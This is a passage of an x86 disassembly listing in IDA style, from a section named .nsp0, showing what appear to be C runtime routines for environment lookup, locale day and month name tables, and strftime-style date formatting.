		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4323B0	proc near		; CODE XREF: sub_42DF80+3Ap
					; .nsp0:00432392p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, dword_4EF898
		mov	[ebp+var_8], eax
		cmp	dword_4F0FA8, 0
		jnz	short loc_4323CE
		xor	eax, eax
		jmp	loc_432472
; ---------------------------------------------------------------------------


loc_4323CE:				; CODE XREF: sub_4323B0+15j
		cmp	[ebp+var_8], 0
		jnz	short loc_4323F6
		cmp	dword_4EF8A0, 0
		jz	short loc_4323F6
		call	sub_4345C0
		test	eax, eax
		jz	short loc_4323ED
		xor	eax, eax
		jmp	loc_432472
; ---------------------------------------------------------------------------


loc_4323ED:				; CODE XREF: sub_4323B0+34j
		mov	ecx, dword_4EF898
		mov	[ebp+var_8], ecx


loc_4323F6:				; CODE XREF: sub_4323B0+22j
					; sub_4323B0+2Bj
		cmp	[ebp+var_8], 0
		jz	short loc_432470
		cmp	[ebp+arg_0], 0
		jz	short loc_432470
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_418D00
		add	esp, 4
		mov	[ebp+var_4], eax


loc_432411:				; CODE XREF: sub_4323B0+BEj
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax], 0
		jz	short loc_432470
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx]
		push	edx
		call	sub_418D00
		add	esp, 4
		cmp	eax, [ebp+var_4]
		jbe	short loc_432465
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [ecx+edx]
		cmp	eax, 3Dh
		jnz	short loc_432465
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	ecx
		call	sub_434570
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_432465
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx+1]
		jmp	short loc_432472
; ---------------------------------------------------------------------------


loc_432465:				; CODE XREF: sub_4323B0+7Aj
					; sub_4323B0+8Bj ...
		mov	edx, [ebp+var_8]
		add	edx, 4
		mov	[ebp+var_8], edx
		jmp	short loc_432411
; ---------------------------------------------------------------------------


loc_432470:				; CODE XREF: sub_4323B0+4Aj
					; sub_4323B0+50j ...
		xor	eax, eax


loc_432472:				; CODE XREF: sub_4323B0+19j
					; sub_4323B0+38j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4323B0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		mov	eax, off_4525E8
		mov	[ebp-0Ch], eax
		mov	dword ptr [ebp-8], 0
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_4324A8
; ---------------------------------------------------------------------------


loc_43249F:				; CODE XREF: .nsp0:004324DFj
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx


loc_4324A8:				; CODE XREF: .nsp0:0043249Dj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_4324E1
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4]
		push	ecx
		call	sub_418D00
		add	esp, 4
		mov	esi, eax
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+1Ch]
		push	ecx
		call	sub_418D00
		add	esp, 4
		add	eax, [ebp-8]
		lea	edx, [eax+esi+2]
		mov	[ebp-8], edx
		jmp	short loc_43249F
; ---------------------------------------------------------------------------


loc_4324E1:				; CODE XREF: .nsp0:004324ACj
		mov	eax, [ebp-8]
		add	eax, 1
		push	eax
		call	sub_418ED0
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_432599
		mov	ecx, [ebp-4]
		mov	[ebp-14h], ecx
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_432515
; ---------------------------------------------------------------------------


loc_43250C:				; CODE XREF: .nsp0:00432588j
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx


loc_432515:				; CODE XREF: .nsp0:0043250Aj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_43258A
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	3Ah
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_41C300
		add	esp, 8
		push	eax
		call	sub_418D00
		add	esp, 4
		mov	ecx, [ebp-14h]
		add	ecx, eax
		mov	[ebp-14h], ecx
		mov	edx, [ebp-14h]
		mov	byte ptr [edx],	3Ah
		mov	eax, [ebp-14h]
		add	eax, 1
		mov	[ebp-14h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+1Ch]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_41C300
		add	esp, 8
		push	eax
		call	sub_418D00
		add	esp, 4
		mov	edx, [ebp-14h]
		add	edx, eax
		mov	[ebp-14h], edx
		jmp	short loc_43250C
; ---------------------------------------------------------------------------


loc_43258A:				; CODE XREF: .nsp0:00432519j
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx


loc_432599:				; CODE XREF: .nsp0:004324F7j
		mov	eax, [ebp-4]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		mov	eax, off_4525E8
		mov	[ebp-0Ch], eax
		mov	dword ptr [ebp-8], 0
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_4325D8
; ---------------------------------------------------------------------------


loc_4325CF:				; CODE XREF: .nsp0:00432610j
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx


loc_4325D8:				; CODE XREF: .nsp0:004325CDj
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_432612
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+38h]
		push	ecx
		call	sub_418D00
		add	esp, 4
		mov	esi, eax
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+68h]
		push	ecx
		call	sub_418D00
		add	esp, 4
		add	eax, [ebp-8]
		lea	edx, [eax+esi+2]
		mov	[ebp-8], edx
		jmp	short loc_4325CF
; ---------------------------------------------------------------------------


loc_432612:				; CODE XREF: .nsp0:004325DCj
		mov	eax, [ebp-8]
		add	eax, 1
		push	eax
		call	sub_418ED0
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_4326CB
		mov	ecx, [ebp-4]
		mov	[ebp-14h], ecx
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_432646
; ---------------------------------------------------------------------------


loc_43263D:				; CODE XREF: .nsp0:004326BAj
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx


loc_432646:				; CODE XREF: .nsp0:0043263Bj
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_4326BC
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	3Ah
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+38h]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_41C300
		add	esp, 8
		push	eax
		call	sub_418D00
		add	esp, 4
		mov	ecx, [ebp-14h]
		add	ecx, eax
		mov	[ebp-14h], ecx
		mov	edx, [ebp-14h]
		mov	byte ptr [edx],	3Ah
		mov	eax, [ebp-14h]
		add	eax, 1
		mov	[ebp-14h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_41C300
		add	esp, 8
		push	eax
		call	sub_418D00
		add	esp, 4
		mov	edx, [ebp-14h]
		add	edx, eax
		mov	[ebp-14h], edx
		jmp	short loc_43263D
; ---------------------------------------------------------------------------


loc_4326BC:				; CODE XREF: .nsp0:0043264Aj
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx


loc_4326CB:				; CODE XREF: .nsp0:00432628j
		mov	eax, [ebp-4]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	eax, off_4525E8
		mov	[ebp-0Ch], eax
		mov	dword ptr [ebp-8], 0
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_432708
; ---------------------------------------------------------------------------


loc_4326FF:				; CODE XREF: .nsp0:0043273Fj
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx


loc_432708:				; CODE XREF: .nsp0:004326FDj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_432741
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4]
		push	ecx
		call	sub_418D00
		add	esp, 4
		mov	esi, eax
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+1Ch]
		push	ecx
		call	sub_418D00
		add	esp, 4
		add	eax, [ebp-8]
		lea	edx, [eax+esi+2]
		mov	[ebp-8], edx
		jmp	short loc_4326FF
; ---------------------------------------------------------------------------


loc_432741:				; CODE XREF: .nsp0:0043270Cj
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_432753
; ---------------------------------------------------------------------------


loc_43274A:				; CODE XREF: .nsp0:0043278Bj
		mov	eax, [ebp-10h]
		add	eax, 1
		mov	[ebp-10h], eax


loc_432753:				; CODE XREF: .nsp0:00432748j
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_43278D
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+38h]
		push	eax
		call	sub_418D00
		add	esp, 4
		mov	esi, eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		call	sub_418D00
		add	esp, 4
		add	eax, [ebp-8]
		lea	ecx, [eax+esi+2]
		mov	[ebp-8], ecx
		jmp	short loc_43274A
; ---------------------------------------------------------------------------


loc_43278D:				; CODE XREF: .nsp0:00432757j
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+98h]
		push	eax
		call	sub_418D00
		add	esp, 4
		mov	esi, eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+9Ch]
		push	edx
		call	sub_418D00
		add	esp, 4
		add	eax, [ebp-8]
		lea	eax, [eax+esi+2]
		mov	[ebp-8], eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+0A0h]
		push	edx
		call	sub_418D00
		add	esp, 4
		mov	ecx, [ebp-8]
		lea	edx, [ecx+eax+1]
		mov	[ebp-8], edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+0A4h]
		push	ecx
		call	sub_418D00
		add	esp, 4
		mov	edx, [ebp-8]
		lea	eax, [edx+eax+1]
		mov	[ebp-8], eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+0A8h]
		push	edx
		call	sub_418D00
		add	esp, 4
		mov	ecx, [ebp-8]
		lea	edx, [ecx+eax+1]
		mov	[ebp-8], edx
		mov	eax, [ebp-8]
		add	eax, 0ACh
		push	eax
		call	sub_418ED0
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_432A46
		mov	ecx, [ebp-4]
		mov	[ebp-18h], ecx
		mov	edx, [ebp-4]
		add	edx, 0ACh
		mov	[ebp-14h], edx
		push	0ACh
		mov	eax, off_4525E8
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		call	near ptr sub_41C8D0
		add	esp, 0Ch
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_43286A
; ---------------------------------------------------------------------------


loc_432861:				; CODE XREF: .nsp0:004328DCj
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx


loc_43286A:				; CODE XREF: .nsp0:0043285Fj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_4328DE
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+eax*4], edx
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp-14h]
		push	eax
		call	sub_41C300
		add	esp, 8
		push	eax
		call	sub_418D00
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+eax*4+1Ch], edx
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+eax*4+1Ch]
		push	edx
		mov	eax, [ebp-14h]
		push	eax
		call	sub_41C300
		add	esp, 8
		push	eax
		call	sub_418D00
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		jmp	short loc_432861
; ---------------------------------------------------------------------------


loc_4328DE:				; CODE XREF: .nsp0:0043286Ej
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_4328F0
; ---------------------------------------------------------------------------


loc_4328E7:				; CODE XREF: .nsp0:00432964j
		mov	eax, [ebp-10h]
		add	eax, 1
		mov	[ebp-10h], eax


loc_4328F0:				; CODE XREF: .nsp0:004328E5j
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_432966
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-18h]
		mov	eax, [ebp-14h]
		mov	[edx+ecx*4+38h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+38h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_41C300
		add	esp, 8
		push	eax
		call	sub_418D00
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-18h]
		mov	eax, [ebp-14h]
		mov	[edx+ecx*4+68h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_41C300
		add	esp, 8
		push	eax
		call	sub_418D00
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		jmp	short loc_4328E7
; ---------------------------------------------------------------------------


loc_432966:				; CODE XREF: .nsp0:004328F4j
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+98h], edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+98h]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_41C300
		add	esp, 8
		push	eax
		call	sub_418D00
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		mov	eax, [ebp-18h]
		mov	ecx, [ebp-14h]
		mov	[eax+9Ch], ecx
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+9Ch]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_41C300
		add	esp, 8
		push	eax
		call	sub_418D00
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+0A0h], edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+0A0h]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_41C300
		add	esp, 8
		push	eax
		call	sub_418D00
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		mov	eax, [ebp-18h]
		mov	ecx, [ebp-14h]
		mov	[eax+0A4h], ecx
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+0A4h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_41C300
		add	esp, 8
		push	eax
		call	sub_418D00
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+0A8h], edx


loc_432A46:				; CODE XREF: .nsp0:00432829j
		mov	eax, [ebp-4]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_432A70
		add	esp, 14h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432A70	proc near		; CODE XREF: .nsp0:00432A65p

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_10], 0
		jnz	short loc_432A86
		mov	eax, off_4525E8
		mov	[ebp+var_10], eax
		jmp	short loc_432A8C
; ---------------------------------------------------------------------------


loc_432A86:				; CODE XREF: sub_432A70+Aj
		mov	ecx, [ebp+arg_10]
		mov	[ebp+var_10], ecx


loc_432A8C:				; CODE XREF: sub_432A70+14j
		mov	edx, [ebp+var_10]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		push	offset dword_4EFD48
		call	dword_4F1454	; InterlockedIncrement
		cmp	dword_4EFD44, 0
		jz	short loc_432ACA
		push	offset dword_4EFD48
		call	dword_4F1450	; InterlockedDecrement
		push	13h
		call	sub_41FB40
		add	esp, 4
		mov	[ebp+var_8], 1
		jmp	short loc_432AD1
; ---------------------------------------------------------------------------


loc_432ACA:				; CODE XREF: sub_432A70+3Aj
		mov	[ebp+var_8], 0


loc_432AD1:				; CODE XREF: sub_432A70+58j
					; sub_432A70:loc_432BBDj
		cmp	[ebp+var_C], 0
		jbe	loc_432BC2
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[ebp+var_14], dl
		cmp	[ebp+var_14], 0
		jz	short loc_432AF1
		cmp	[ebp+var_14], 25h
		jz	short loc_432AF6
		jmp	short loc_432B50
; ---------------------------------------------------------------------------


loc_432AF1:				; CODE XREF: sub_432A70+77j
		jmp	loc_432BC2
; ---------------------------------------------------------------------------


loc_432AF6:				; CODE XREF: sub_432A70+7Dj
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax
		mov	dword_4EFC1C, 0
		mov	ecx, [ebp+arg_8]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 23h
		jnz	short loc_432B27
		mov	dword_4EFC1C, 1
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax


loc_432B27:				; CODE XREF: sub_432A70+A2j
		mov	ecx, [ebp+var_4]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		mov	al, [edx]
		push	eax
		call	sub_432C00
		add	esp, 14h
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		jmp	short loc_432BBD
; ---------------------------------------------------------------------------


loc_432B50:				; CODE XREF: sub_432A70+7Fj
		mov	edx, [ebp+arg_8]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_45149C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_432B98
		cmp	[ebp+var_C], 1
		jbe	short loc_432B98
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx


loc_432B98:				; CODE XREF: sub_432A70+FBj
					; sub_432A70+101j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx


loc_432BBD:				; CODE XREF: sub_432A70+DEj
		jmp	loc_432AD1
; ---------------------------------------------------------------------------


loc_432BC2:				; CODE XREF: sub_432A70+65j
					; sub_432A70:loc_432AF1j
		cmp	[ebp+var_8], 0
		jz	short loc_432BD4
		push	13h
		call	sub_41FBE0
		add	esp, 4
		jmp	short loc_432BDF
; ---------------------------------------------------------------------------


loc_432BD4:				; CODE XREF: sub_432A70+156j
		push	offset dword_4EFD48
		call	dword_4F1450	; InterlockedDecrement


loc_432BDF:				; CODE XREF: sub_432A70+162j
		cmp	[ebp+var_C], 0
		jbe	short loc_432BF3
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_C]
		jmp	short loc_432BF5
; ---------------------------------------------------------------------------


loc_432BF3:				; CODE XREF: sub_432A70+173j
		xor	eax, eax


loc_432BF5:				; CODE XREF: sub_432A70+181j
		mov	esp, ebp
		pop	ebp
		retn
sub_432A70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432C00	proc near		; CODE XREF: sub_432A70+CDp
					; sub_4333D0+3ECp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		movsx	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 25h
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_C], 55h
		ja	loc_433168
		mov	eax, [ebp+var_C]
		xor	edx, edx
		mov	dl, byte_4331C9[eax]
		jmp	off_43316D[edx*4]


loc_432C33:				; DATA XREF: .nsp0:0043319Do
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4]
		push	eax
		call	sub_433220
		add	esp, 0Ch
		jmp	loc_433168
; ---------------------------------------------------------------------------


loc_432C55:				; CODE XREF: sub_432C00+2Cj
					; DATA XREF: .nsp0:00433171o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+1Ch]
		push	eax
		call	sub_433220
		add	esp, 0Ch
		jmp	loc_433168
; ---------------------------------------------------------------------------


loc_432C78:				; CODE XREF: sub_432C00+2Cj
					; DATA XREF: .nsp0:004331A1o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+38h]
		push	eax
		call	sub_433220
		add	esp, 0Ch
		jmp	loc_433168
; ---------------------------------------------------------------------------


loc_432C9B:				; CODE XREF: sub_432C00+2Cj
					; DATA XREF: .nsp0:00433175o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		call	sub_433220
		add	esp, 0Ch
		jmp	loc_433168
; ---------------------------------------------------------------------------


loc_432CBE:				; CODE XREF: sub_432C00+2Cj
					; DATA XREF: .nsp0:004331A5o
		cmp	dword_4EFC1C, 0
		jz	short loc_432D46
		mov	dword_4EFC1C, 0
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A4h]
		push	eax
		call	sub_4333D0
		add	esp, 14h
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jnz	short loc_432D00
		jmp	loc_433168
; ---------------------------------------------------------------------------


loc_432D00:				; CODE XREF: sub_432C00+F9j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	20h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A8h]
		push	eax
		call	sub_4333D0
		add	esp, 14h
		jmp	short loc_432DB9
; ---------------------------------------------------------------------------


loc_432D46:				; CODE XREF: sub_432C00+C5j
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A0h]
		push	eax
		call	sub_4333D0
		add	esp, 14h
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jnz	short loc_432D75
		jmp	loc_433168
; ---------------------------------------------------------------------------


loc_432D75:				; CODE XREF: sub_432C00+16Ej
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	20h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A8h]
		push	eax
		call	sub_4333D0
		add	esp, 14h


loc_432DB9:				; CODE XREF: sub_432C00+144j
		jmp	loc_433168
; ---------------------------------------------------------------------------


loc_432DBE:				; CODE XREF: sub_432C00+2Cj
					; DATA XREF: .nsp0:004331A9o
		mov	ecx, dword_4EFC1C
		mov	dword_4EFC20, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+0Ch]
		push	edx
		call	sub_433270
		add	esp, 10h
		jmp	loc_433168
; ---------------------------------------------------------------------------


loc_432DE8:				; CODE XREF: sub_432C00+2Cj
					; DATA XREF: .nsp0:00433179o
		mov	eax, dword_4EFC1C
		mov	dword_4EFC20, eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	2
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		push	ecx
		call	sub_433270
		add	esp, 10h
		jmp	loc_433168
; ---------------------------------------------------------------------------


loc_432E10:				; CODE XREF: sub_432C00+2Cj
					; DATA XREF: .nsp0:0043317Do
		mov	edx, dword_4EFC1C
		mov	dword_4EFC20, edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		cdq
		mov	ecx, 0Ch
		idiv	ecx
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		jnz	short loc_432E3A
		mov	[ebp+var_4], 0Ch


loc_432E3A:				; CODE XREF: sub_432C00+231j
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
